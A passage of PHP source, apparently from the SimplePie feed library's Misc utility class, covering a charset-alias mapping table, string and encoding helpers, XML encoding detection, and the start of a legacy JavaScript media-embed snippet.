            case 'ebcdicjpe':
            case 'ibm281':
                return 'IBM281';

            case 'cp284':
            case 'csibm284':
            case 'ebcdiccpes':
            case 'ibm284':
                return 'IBM284';

            case 'cp285':
            case 'csibm285':
            case 'ebcdiccpgb':
            case 'ibm285':
                return 'IBM285';

            case 'cp290':
            case 'csibm290':
            case 'ebcdicjpkana':
            case 'ibm290':
                return 'IBM290';

            case 'cp297':
            case 'csibm297':
            case 'ebcdiccpfr':
            case 'ibm297':
                return 'IBM297';

            case 'cp420':
            case 'csibm420':
            case 'ebcdiccpar1':
            case 'ibm420':
                return 'IBM420';

            case 'cp423':
            case 'csibm423':
            case 'ebcdiccpgr':
            case 'ibm423':
                return 'IBM423';

            case 'cp424':
            case 'csibm424':
            case 'ebcdiccphe':
            case 'ibm424':
                return 'IBM424';

            case '437':
            case 'cp437':
            case 'cspc8codepage437':
            case 'ibm437':
                return 'IBM437';

            case 'cp500':
            case 'csibm500':
            case 'ebcdiccpbe':
            case 'ebcdiccpch':
            case 'ibm500':
                return 'IBM500';

            case 'cp775':
            case 'cspc775baltic':
            case 'ibm775':
                return 'IBM775';

            case '850':
            case 'cp850':
            case 'cspc850multilingual':
            case 'ibm850':
                return 'IBM850';

            case '851':
            case 'cp851':
            case 'csibm851':
            case 'ibm851':
                return 'IBM851';

            case '852':
            case 'cp852':
            case 'cspcp852':
            case 'ibm852':
                return 'IBM852';

            case '855':
            case 'cp855':
            case 'csibm855':
            case 'ibm855':
                return 'IBM855';

            case '857':
            case 'cp857':
            case 'csibm857':
            case 'ibm857':
                return 'IBM857';

            case 'ccsid858':
            case 'cp858':
            case 'ibm858':
            case 'pcmultilingual850euro':
                return 'IBM00858';

            case '860':
            case 'cp860':
            case 'csibm860':
            case 'ibm860':
                return 'IBM860';

            case '861':
            case 'cp861':
            case 'cpis':
            case 'csibm861':
            case 'ibm861':
                return 'IBM861';

            case '862':
            case 'cp862':
            case 'cspc862latinhebrew':
            case 'ibm862':
                return 'IBM862';

            case '863':
            case 'cp863':
            case 'csibm863':
            case 'ibm863':
                return 'IBM863';

            case 'cp864':
            case 'csibm864':
            case 'ibm864':
                return 'IBM864';

            case '865':
            case 'cp865':
            case 'csibm865':
            case 'ibm865':
                return 'IBM865';

            case '866':
            case 'cp866':
            case 'csibm866':
            case 'ibm866':
                return 'IBM866';

            case 'cp868':
            case 'cpar':
            case 'csibm868':
            case 'ibm868':
                return 'IBM868';

            case '869':
            case 'cp869':
            case 'cpgr':
            case 'csibm869':
            case 'ibm869':
                return 'IBM869';

            case 'cp870':
            case 'csibm870':
            case 'ebcdiccproece':
            case 'ebcdiccpyu':
            case 'ibm870':
                return 'IBM870';

            case 'cp871':
            case 'csibm871':
            case 'ebcdiccpis':
            case 'ibm871':
                return 'IBM871';

            case 'cp880':
            case 'csibm880':
            case 'ebcdiccyrillic':
            case 'ibm880':
                return 'IBM880';

            case 'cp891':
            case 'csibm891':
            case 'ibm891':
                return 'IBM891';

            case 'cp903':
            case 'csibm903':
            case 'ibm903':
                return 'IBM903';

            case '904':
            case 'cp904':
            case 'csibbm904':
            case 'ibm904':
                return 'IBM904';

            case 'cp905':
            case 'csibm905':
            case 'ebcdiccptr':
            case 'ibm905':
                return 'IBM905';

            case 'cp918':
            case 'csibm918':
            case 'ebcdiccpar2':
            case 'ibm918':
                return 'IBM918';

            case 'ccsid924':
            case 'cp924':
            case 'ebcdiclatin9euro':
            case 'ibm924':
                return 'IBM00924';

            case 'cp1026':
            case 'csibm1026':
            case 'ibm1026':
                return 'IBM1026';

            case 'ibm1047':
                return 'IBM1047';

            case 'ccsid1140':
            case 'cp1140':
            case 'ebcdicus37euro':
            case 'ibm1140':
                return 'IBM01140';

            case 'ccsid1141':
            case 'cp1141':
            case 'ebcdicde273euro':
            case 'ibm1141':
                return 'IBM01141';

            case 'ccsid1142':
            case 'cp1142':
            case 'ebcdicdk277euro':
            case 'ebcdicno277euro':
            case 'ibm1142':
                return 'IBM01142';

            case 'ccsid1143':
            case 'cp1143':
            case 'ebcdicfi278euro':
            case 'ebcdicse278euro':
            case 'ibm1143':
                return 'IBM01143';

            case 'ccsid1144':
            case 'cp1144':
            case 'ebcdicit280euro':
            case 'ibm1144':
                return 'IBM01144';

            case 'ccsid1145':
            case 'cp1145':
            case 'ebcdices284euro':
            case 'ibm1145':
                return 'IBM01145';

            case 'ccsid1146':
            case 'cp1146':
            case 'ebcdicgb285euro':
            case 'ibm1146':
                return 'IBM01146';

            case 'ccsid1147':
            case 'cp1147':
            case 'ebcdicfr297euro':
            case 'ibm1147':
                return 'IBM01147';

            case 'ccsid1148':
            case 'cp1148':
            case 'ebcdicinternational500euro':
            case 'ibm1148':
                return 'IBM01148';

            case 'ccsid1149':
            case 'cp1149':
            case 'ebcdicis871euro':
            case 'ibm1149':
                return 'IBM01149';

            case 'csiso143iecp271':
            case 'iecp271':
            case 'isoir143':
                return 'IEC_P27-1';

            case 'csiso49inis':
            case 'inis':
            case 'isoir49':
                return 'INIS';

            case 'csiso50inis8':
            case 'inis8':
            case 'isoir50':
                return 'INIS-8';

            case 'csiso51iniscyrillic':
            case 'iniscyrillic':
            case 'isoir51':
                return 'INIS-cyrillic';

            case 'csinvariant':
            case 'invariant':
                return 'INVARIANT';

            case 'iso2022cn':
                return 'ISO-2022-CN';

            case 'iso2022cnext':
                return 'ISO-2022-CN-EXT';

            case 'csiso2022jp':
            case 'iso2022jp':
                return 'ISO-2022-JP';

            case 'csiso2022jp2':
            case 'iso2022jp2':
                return 'ISO-2022-JP-2';

            case 'csiso2022kr':
            case 'iso2022kr':
                return 'ISO-2022-KR';

            case 'cswindows30latin1':
            case 'iso88591windows30latin1':
                return 'ISO-8859-1-Windows-3.0-Latin-1';

            case 'cswindows31latin1':
            case 'iso88591windows31latin1':
                return 'ISO-8859-1-Windows-3.1-Latin-1';

            case 'csisolatin2':
            case 'iso88592':
            case 'iso885921987':
            case 'isoir101':
            case 'l2':
            case 'latin2':
                return 'ISO-8859-2';

            case 'cswindows31latin2':
            case 'iso88592windowslatin2':
                return 'ISO-8859-2-Windows-Latin-2';

            case 'csisolatin3':
            case 'iso88593':
            case 'iso885931988':
            case 'isoir109':
            case 'l3':
            case 'latin3':
                return 'ISO-8859-3';

            case 'csisolatin4':
            case 'iso88594':
            case 'iso885941988':
            case 'isoir110':
            case 'l4':
            case 'latin4':
                return 'ISO-8859-4';

            case 'csisolatincyrillic':
            case 'cyrillic':
            case 'iso88595':
            case 'iso885951988':
            case 'isoir144':
                return 'ISO-8859-5';

            case 'arabic':
            case 'asmo708':
            case 'csisolatinarabic':
            case 'ecma114':
            case 'iso88596':
            case 'iso885961987':
            case 'isoir127':
                return 'ISO-8859-6';

            case 'csiso88596e':
            case 'iso88596e':
                return 'ISO-8859-6-E';

            case 'csiso88596i':
            case 'iso88596i':
                return 'ISO-8859-6-I';

            case 'csisolatingreek':
            case 'ecma118':
            case 'elot928':
            case 'greek':
            case 'greek8':
            case 'iso88597':
            case 'iso885971987':
            case 'isoir126':
                return 'ISO-8859-7';

            case 'csisolatinhebrew':
            case 'hebrew':
            case 'iso88598':
            case 'iso885981988':
            case 'isoir138':
                return 'ISO-8859-8';

            case 'csiso88598e':
            case 'iso88598e':
                return 'ISO-8859-8-E';

            case 'csiso88598i':
            case 'iso88598i':
                return 'ISO-8859-8-I';

            case 'cswindows31latin5':
            case 'iso88599windowslatin5':
                return 'ISO-8859-9-Windows-Latin-5';

            case 'csisolatin6':
            case 'iso885910':
            case 'iso8859101992':
            case 'isoir157':
            case 'l6':
            case 'latin6':
                return 'ISO-8859-10';

            case 'iso885913':
                return 'ISO-8859-13';

            case 'iso885914':
            case 'iso8859141998':
            case 'isoceltic':
            case 'isoir199':
            case 'l8':
            case 'latin8':
                return 'ISO-8859-14';

            case 'iso885915':
            case 'latin9':
                return 'ISO-8859-15';

            case 'iso885916':
            case 'iso8859162001':
            case 'isoir226':
            case 'l10':
            case 'latin10':
                return 'ISO-8859-16';

            case 'iso10646j1':
                return 'ISO-10646-J-1';

            case 'csunicode':
            case 'iso10646ucs2':
                return 'ISO-10646-UCS-2';

            case 'csucs4':
            case 'iso10646ucs4':
                return 'ISO-10646-UCS-4';

            case 'csunicodeascii':
            case 'iso10646ucsbasic':
                return 'ISO-10646-UCS-Basic';

            case 'csunicodelatin1':
            case 'iso10646':
            case 'iso10646unicodelatin1':
                return 'ISO-10646-Unicode-Latin1';

            case 'csiso10646utf1':
            case 'iso10646utf1':
                return 'ISO-10646-UTF-1';

            case 'csiso115481':
            case 'iso115481':
            case 'isotr115481':
                return 'ISO-11548-1';

            case 'csiso90':
            case 'isoir90':
                return 'iso-ir-90';

            case 'csunicodeibm1261':
            case 'isounicodeibm1261':
                return 'ISO-Unicode-IBM-1261';

            case 'csunicodeibm1264':
            case 'isounicodeibm1264':
                return 'ISO-Unicode-IBM-1264';

            case 'csunicodeibm1265':
            case 'isounicodeibm1265':
                return 'ISO-Unicode-IBM-1265';

            case 'csunicodeibm1268':
            case 'isounicodeibm1268':
                return 'ISO-Unicode-IBM-1268';

            case 'csunicodeibm1276':
            case 'isounicodeibm1276':
                return 'ISO-Unicode-IBM-1276';

            case 'csiso646basic1983':
            case 'iso646basic1983':
            case 'ref':
                return 'ISO_646.basic:1983';

            case 'csiso2intlrefversion':
            case 'irv':
            case 'iso646irv1983':
            case 'isoir2':
                return 'ISO_646.irv:1983';

            case 'csiso2033':
            case 'e13b':
            case 'iso20331983':
            case 'isoir98':
                return 'ISO_2033-1983';

            case 'csiso5427cyrillic':
            case 'iso5427':
            case 'isoir37':
                return 'ISO_5427';

            case 'iso5427cyrillic1981':
            case 'iso54271981':
            case 'isoir54':
                return 'ISO_5427:1981';

            case 'csiso5428greek':
            case 'iso54281980':
            case 'isoir55':
                return 'ISO_5428:1980';

            case 'csiso6937add':
            case 'iso6937225':
            case 'isoir152':
                return 'ISO_6937-2-25';

            case 'csisotextcomm':
            case 'iso69372add':
            case 'isoir142':
                return 'ISO_6937-2-add';

            case 'csiso8859supp':
            case 'iso8859supp':
            case 'isoir154':
            case 'latin125':
                return 'ISO_8859-supp';

            case 'csiso10367box':
            case 'iso10367box':
            case 'isoir155':
                return 'ISO_10367-box';

            case 'csiso15italian':
            case 'iso646it':
            case 'isoir15':
            case 'it':
                return 'IT';

            case 'csiso13jisc6220jp':
            case 'isoir13':
            case 'jisc62201969':
            case 'jisc62201969jp':
            case 'katakana':
            case 'x2017':
                return 'JIS_C6220-1969-jp';

            case 'csiso14jisc6220ro':
            case 'iso646jp':
            case 'isoir14':
            case 'jisc62201969ro':
            case 'jp':
                return 'JIS_C6220-1969-ro';

            case 'csiso42jisc62261978':
            case 'isoir42':
            case 'jisc62261978':
                return 'JIS_C6226-1978';

            case 'csiso87jisx208':
            case 'isoir87':
            case 'jisc62261983':
            case 'jisx2081983':
            case 'x208':
                return 'JIS_C6226-1983';

            case 'csiso91jisc62291984a':
            case 'isoir91':
            case 'jisc62291984a':
            case 'jpocra':
                return 'JIS_C6229-1984-a';

            case 'csiso92jisc62991984b':
            case 'iso646jpocrb':
            case 'isoir92':
            case 'jisc62291984b':
            case 'jpocrb':
                return 'JIS_C6229-1984-b';

            case 'csiso93jis62291984badd':
            case 'isoir93':
            case 'jisc62291984badd':
            case 'jpocrbadd':
                return 'JIS_C6229-1984-b-add';

            case 'csiso94jis62291984hand':
            case 'isoir94':
            case 'jisc62291984hand':
            case 'jpocrhand':
                return 'JIS_C6229-1984-hand';

            case 'csiso95jis62291984handadd':
            case 'isoir95':
            case 'jisc62291984handadd':
            case 'jpocrhandadd':
                return 'JIS_C6229-1984-hand-add';

            case 'csiso96jisc62291984kana':
            case 'isoir96':
            case 'jisc62291984kana':
                return 'JIS_C6229-1984-kana';

            case 'csjisencoding':
            case 'jisencoding':
                return 'JIS_Encoding';

            case 'cshalfwidthkatakana':
            case 'jisx201':
            case 'x201':
                return 'JIS_X0201';

            case 'csiso159jisx2121990':
            case 'isoir159':
            case 'jisx2121990':
            case 'x212':
                return 'JIS_X0212-1990';

            case 'csiso141jusib1002':
            case 'iso646yu':
            case 'isoir141':
            case 'js':
            case 'jusib1002':
            case 'yu':
                return 'JUS_I.B1.002';

            case 'csiso147macedonian':
            case 'isoir147':
            case 'jusib1003mac':
            case 'macedonian':
                return 'JUS_I.B1.003-mac';

            case 'csiso146serbian':
            case 'isoir146':
            case 'jusib1003serb':
            case 'serbian':
                return 'JUS_I.B1.003-serb';

            case 'koi7switched':
                return 'KOI7-switched';

            case 'cskoi8r':
            case 'koi8r':
                return 'KOI8-R';

            case 'koi8u':
                return 'KOI8-U';

            case 'csksc5636':
            case 'iso646kr':
            case 'ksc5636':
                return 'KSC5636';

            case 'cskz1048':
            case 'kz1048':
            case 'rk1048':
            case 'strk10482002':
                return 'KZ-1048';

            case 'csiso19latingreek':
            case 'isoir19':
            case 'latingreek':
                return 'latin-greek';

            case 'csiso27latingreek1':
            case 'isoir27':
            case 'latingreek1':
                return 'Latin-greek-1';

            case 'csiso158lap':
            case 'isoir158':
            case 'lap':
            case 'latinlap':
                return 'latin-lap';

            case 'csmacintosh':
            case 'mac':
            case 'macintosh':
                return 'macintosh';

            case 'csmicrosoftpublishing':
            case 'microsoftpublishing':
                return 'Microsoft-Publishing';

            case 'csmnem':
            case 'mnem':
                return 'MNEM';

            case 'csmnemonic':
            case 'mnemonic':
                return 'MNEMONIC';

            case 'csiso86hungarian':
            case 'hu':
            case 'iso646hu':
            case 'isoir86':
            case 'msz77953':
                return 'MSZ_7795.3';

            case 'csnatsdano':
            case 'isoir91':
            case 'natsdano':
                return 'NATS-DANO';

            case 'csnatsdanoadd':
            case 'isoir92':
            case 'natsdanoadd':
                return 'NATS-DANO-ADD';

            case 'csnatssefi':
            case 'isoir81':
            case 'natssefi':
                return 'NATS-SEFI';

            case 'csnatssefiadd':
            case 'isoir82':
            case 'natssefiadd':
                return 'NATS-SEFI-ADD';

            case 'csiso151cuba':
            case 'cuba':
            case 'iso646cu':
            case 'isoir151':
            case 'ncnc1081':
                return 'NC_NC00-10:81';

            case 'csiso69french':
            case 'fr':
            case 'iso646fr':
            case 'isoir69':
            case 'nfz62010':
                return 'NF_Z_62-010';

            case 'csiso25french':
            case 'iso646fr1':
            case 'isoir25':
            case 'nfz620101973':
                return 'NF_Z_62-010_(1973)';

            case 'csiso60danishnorwegian':
            case 'csiso60norwegian1':
            case 'iso646no':
            case 'isoir60':
            case 'no':
            case 'ns45511':
                return 'NS_4551-1';

            case 'csiso61norwegian2':
            case 'iso646no2':
            case 'isoir61':
            case 'no2':
            case 'ns45512':
                return 'NS_4551-2';

            case 'osdebcdicdf3irv':
                return 'OSD_EBCDIC_DF03_IRV';

            case 'osdebcdicdf41':
                return 'OSD_EBCDIC_DF04_1';

            case 'osdebcdicdf415':
                return 'OSD_EBCDIC_DF04_15';

            case 'cspc8danishnorwegian':
            case 'pc8danishnorwegian':
                return 'PC8-Danish-Norwegian';

            case 'cspc8turkish':
            case 'pc8turkish':
                return 'PC8-Turkish';

            case 'csiso16portuguese':
            case 'iso646pt':
            case 'isoir16':
            case 'pt':
                return 'PT';

            case 'csiso84portuguese2':
            case 'iso646pt2':
            case 'isoir84':
            case 'pt2':
                return 'PT2';

            case 'cp154':
            case 'csptcp154':
            case 'cyrillicasian':
            case 'pt154':
            case 'ptcp154':
                return 'PTCP154';

            case 'scsu':
                return 'SCSU';

            case 'csiso10swedish':
            case 'fi':
            case 'iso646fi':
            case 'iso646se':
            case 'isoir10':
            case 'se':
            case 'sen850200b':
                return 'SEN_850200_B';

            case 'csiso11swedishfornames':
            case 'iso646se2':
            case 'isoir11':
            case 'se2':
            case 'sen850200c':
                return 'SEN_850200_C';

            case 'csiso102t617bit':
            case 'isoir102':
            case 't617bit':
                return 'T.61-7bit';

            case 'csiso103t618bit':
            case 'isoir103':
            case 't61':
            case 't618bit':
                return 'T.61-8bit';

            case 'csiso128t101g2':
            case 'isoir128':
            case 't101g2':
                return 'T.101-G2';

            case 'cstscii':
            case 'tscii':
                return 'TSCII';

            case 'csunicode11':
            case 'unicode11':
                return 'UNICODE-1-1';

            case 'csunicode11utf7':
            case 'unicode11utf7':
                return 'UNICODE-1-1-UTF-7';

            case 'csunknown8bit':
            case 'unknown8bit':
                return 'UNKNOWN-8BIT';

            case 'ansix341968':
            case 'ansix341986':
            case 'ascii':
            case 'cp367':
            case 'csascii':
            case 'ibm367':
            case 'iso646irv1991':
            case 'iso646us':
            case 'isoir6':
            case 'us':
            case 'usascii':
                return 'US-ASCII';

            case 'csusdk':
            case 'usdk':
                return 'us-dk';

            case 'utf7':
                return 'UTF-7';

            case 'utf8':
                return 'UTF-8';

            case 'utf16':
                return 'UTF-16';

            case 'utf16be':
                return 'UTF-16BE';

            case 'utf16le':
                return 'UTF-16LE';

            case 'utf32':
                return 'UTF-32';

            case 'utf32be':
                return 'UTF-32BE';

            case 'utf32le':
                return 'UTF-32LE';

            case 'csventurainternational':
            case 'venturainternational':
                return 'Ventura-International';

            case 'csventuramath':
            case 'venturamath':
                return 'Ventura-Math';

            case 'csventuraus':
            case 'venturaus':
                return 'Ventura-US';

            case 'csiso70videotexsupp1':
            case 'isoir70':
            case 'videotexsuppl':
                return 'videotex-suppl';

            case 'csviqr':
            case 'viqr':
                return 'VIQR';

            case 'csviscii':
            case 'viscii':
                return 'VISCII';

            case 'csshiftjis':
            case 'cswindows31j':
            case 'mskanji':
            case 'shiftjis':
            case 'windows31j':
                return 'Windows-31J';

            case 'iso885911':
            case 'tis620':
                return 'windows-874';

            case 'cseuckr':
            case 'csksc56011987':
            case 'euckr':
            case 'isoir149':
            case 'korean':
            case 'ksc5601':
            case 'ksc56011987':
            case 'ksc56011989':
            case 'windows949':
                return 'windows-949';

            case 'windows1250':
                return 'windows-1250';

            case 'windows1251':
                return 'windows-1251';

            case 'cp819':
            case 'csisolatin1':
            case 'ibm819':
            case 'iso88591':
            case 'iso885911987':
            case 'isoir100':
            case 'l1':
            case 'latin1':
            case 'windows1252':
                return 'windows-1252';

            case 'windows1253':
                return 'windows-1253';

            case 'csisolatin5':
            case 'iso88599':
            case 'iso885991989':
            case 'isoir148':
            case 'l5':
            case 'latin5':
            case 'windows1254':
                return 'windows-1254';

            case 'windows1255':
                return 'windows-1255';

            case 'windows1256':
                return 'windows-1256';

            case 'windows1257':
                return 'windows-1257';

            case 'windows1258':
                return 'windows-1258';

            default:
                return $charset;
        }
    }

    public static function get_curl_version()
    {
        if (is_array($curl = curl_version())) {
            $curl = $curl['version'];
        } elseif (substr($curl, 0, 5) === 'curl/') {
            $curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5));
        } elseif (substr($curl, 0, 8) === 'libcurl/') {
            $curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8));
        } else {
            $curl = 0;
        }
        return $curl;
    }

    /**
     * Strip HTML comments
     *
     * @param string $data Data to strip comments from
     * @return string Comment stripped string
     */
    public static function strip_comments($data)
    {
        $output = '';
        while (($start = strpos($data, '<!--')) !== false) {
            $output .= substr($data, 0, $start);
            if (($end = strpos($data, '-->', $start)) !== false) {
                $data = substr_replace($data, '', 0, $end + 3);
            } else {
                $data = '';
            }
        }
        return $output . $data;
    }

    public static function parse_date($dt)
    {
        $parser = \SimplePie\Parse\Date::get();
        return $parser->parse($dt);
    }

    /**
     * Decode HTML entities
     *
     * @deprecated since SimplePie 1.3, use DOMDocument instead
     * @param string $data Input data
     * @return string Output data
     */
    public static function entities_decode($data)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.3, use "DOMDocument" instead.'), \E_USER_DEPRECATED);

        $decoder = new \SimplePie_Decode_HTML_Entities($data);
        return $decoder->parse();
    }

    /**
     * Remove RFC822 comments
     *
     * @param string $data Data to strip comments from
     * @return string Comment stripped string
     */
    public static function uncomment_rfc822($string)
    {
        $string = (string) $string;
        $position = 0;
        $length = strlen($string);
        $depth = 0;

        $output = '';

        while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) {
            $output .= substr($string, $position, $pos - $position);
            $position = $pos + 1;
            if ($string[$pos - 1] !== '\\') {
                $depth++;
                while ($depth && $position < $length) {
                    $position += strcspn($string, '()', $position);
                    if ($string[$position - 1] === '\\') {
                        $position++;
                        continue;
                    } elseif (isset($string[$position])) {
                        switch ($string[$position]) {
                            case '(':
                                $depth++;
                                break;

                            case ')':
                                $depth--;
                                break;
                        }
                        $position++;
                    } else {
                        break;
                    }
                }
            } else {
                $output .= '(';
            }
        }
        $output .= substr($string, $position);

        return $output;
    }

    public static function parse_mime($mime)
    {
        if (($pos = strpos($mime, ';')) === false) {
            return trim($mime);
        }

        return trim(substr($mime, 0, $pos));
    }

    public static function atom_03_construct_type($attribs)
    {
        if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode'])) === 'base64') {
            $mode = \SimplePie\SimplePie::CONSTRUCT_BASE64;
        } else {
            $mode = \SimplePie\SimplePie::CONSTRUCT_NONE;
        }
        if (isset($attribs['']['type'])) {
            switch (strtolower(trim($attribs['']['type']))) {
                case 'text':
                case 'text/plain':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode;

                case 'html':
                case 'text/html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML | $mode;

                case 'xhtml':
                case 'application/xhtml+xml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML | $mode;

                default:
                    return \SimplePie\SimplePie::CONSTRUCT_NONE | $mode;
            }
        }

        return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode;
    }

    public static function atom_10_construct_type($attribs)
    {
        if (isset($attribs['']['type'])) {
            switch (strtolower(trim($attribs['']['type']))) {
                case 'text':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT;

                case 'html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML;

                case 'xhtml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML;

                default:
                    return \SimplePie\SimplePie::CONSTRUCT_NONE;
            }
        }
        return \SimplePie\SimplePie::CONSTRUCT_TEXT;
    }

    public static function atom_10_content_construct_type($attribs)
    {
        if (isset($attribs['']['type'])) {
            $type = strtolower(trim($attribs['']['type']));
            switch ($type) {
                case 'text':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT;

                case 'html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML;

                case 'xhtml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML;
            }
            if (in_array(substr($type, -4), ['+xml', '/xml']) || substr($type, 0, 5) === 'text/') {
                return \SimplePie\SimplePie::CONSTRUCT_NONE;
            } else {
                return \SimplePie\SimplePie::CONSTRUCT_BASE64;
            }
        }

        return \SimplePie\SimplePie::CONSTRUCT_TEXT;
    }

    public static function is_isegment_nz_nc($string)
    {
        return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string);
    }

    public static function space_separated_tokens($string)
    {
        $space_characters = "\x20\x09\x0A\x0B\x0C\x0D";
        $string_length = strlen($string);

        $position = strspn($string, $space_characters);
        $tokens = [];

        while ($position < $string_length) {
            $len = strcspn($string, $space_characters, $position);
            $tokens[] = substr($string, $position, $len);
            $position += $len;
            $position += strspn($string, $space_characters, $position);
        }

        return $tokens;
    }

    /**
     * Converts a unicode codepoint to a UTF-8 character
     *
     * @static
     * @param int $codepoint Unicode codepoint
     * @return string UTF-8 character
     */
    public static function codepoint_to_utf8($codepoint)
    {
        $codepoint = (int) $codepoint;
        if ($codepoint < 0) {
            return false;
        } elseif ($codepoint <= 0x7f) {
            return chr($codepoint);
        } elseif ($codepoint <= 0x7ff) {
            return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f));
        } elseif ($codepoint <= 0xffff) {
            return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
        } elseif ($codepoint <= 0x10ffff) {
            return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
        }

        // U+FFFD REPLACEMENT CHARACTER
        return "\xEF\xBF\xBD";
    }

    /**
     * Similar to parse_str()
     *
     * Returns an associative array of name/value pairs, where the value is an
     * array of values that have used the same name
     *
     * @static
     * @param string $str The input string.
     * @return array
     */
    public static function parse_str($str)
    {
        $return = [];
        $str = explode('&', $str);

        foreach ($str as $section) {
            if (strpos($section, '=') !== false) {
                [$name, $value] = explode('=', $section, 2);
                $return[urldecode($name)][] = urldecode($value);
            } else {
                $return[urldecode($section)][] = null;
            }
        }

        return $return;
    }

    /**
     * Detect XML encoding, as per XML 1.0 Appendix F.1
     *
     * @todo Add support for EBCDIC
     * @param string $data XML data
     * @param \SimplePie\Registry $registry Class registry
     * @return array Possible encodings
     */
    public static function xml_encoding($data, $registry)
    {
        // UTF-32 Big Endian BOM
        if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") {
            $encoding[] = 'UTF-32BE';
        }
        // UTF-32 Little Endian BOM
        elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") {
            $encoding[] = 'UTF-32LE';
        }
        // UTF-16 Big Endian BOM
        elseif (substr($data, 0, 2) === "\xFE\xFF") {
            $encoding[] = 'UTF-16BE';
        }
        // UTF-16 Little Endian BOM
        elseif (substr($data, 0, 2) === "\xFF\xFE") {
            $encoding[] = 'UTF-16LE';
        }
        // UTF-8 BOM
        elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") {
            $encoding[] = 'UTF-8';
        }
        // UTF-32 Big Endian Without BOM
        elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C") {
            if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-32BE';
        }
        // UTF-32 Little Endian Without BOM
        elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00") {
            if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-32LE';
        }
        // UTF-16 Big Endian Without BOM
        elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C") {
            if ($pos = strpos($data, "\x00\x3F\x00\x3E")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-16BE';
        }
        // UTF-16 Little Endian Without BOM
        elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00") {
            if ($pos = strpos($data, "\x3F\x00\x3E\x00")) {
                $parser = $registry->create(Parser::class, [Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8')]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-16LE';
        }
        // US-ASCII (or superset)
        elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C") {
            if ($pos = strpos($data, "\x3F\x3E")) {
                $parser = $registry->create(Parser::class, [substr($data, 5, $pos - 5)]);
                if ($parser->parse()) {
                    $encoding[] = $parser->encoding;
                }
            }
            $encoding[] = 'UTF-8';
        }
        // Fallback to UTF-8
        else {
            $encoding[] = 'UTF-8';
        }
        return $encoding;
    }

    public static function output_javascript()
    {
        if (function_exists('ob_gzhandler')) {
            ob_start('ob_gzhandler');
        }
        header('Content-type: text/javascript; charset: UTF-8');
        header('Cache-Control: must-revalidate');
        header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days

        $body = <<<END
function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) {
	if (placeholder != '') {
		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
	}
	else {
		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
	}
}

function embed_flash(bgcolor, width, height, link, loop, type) {
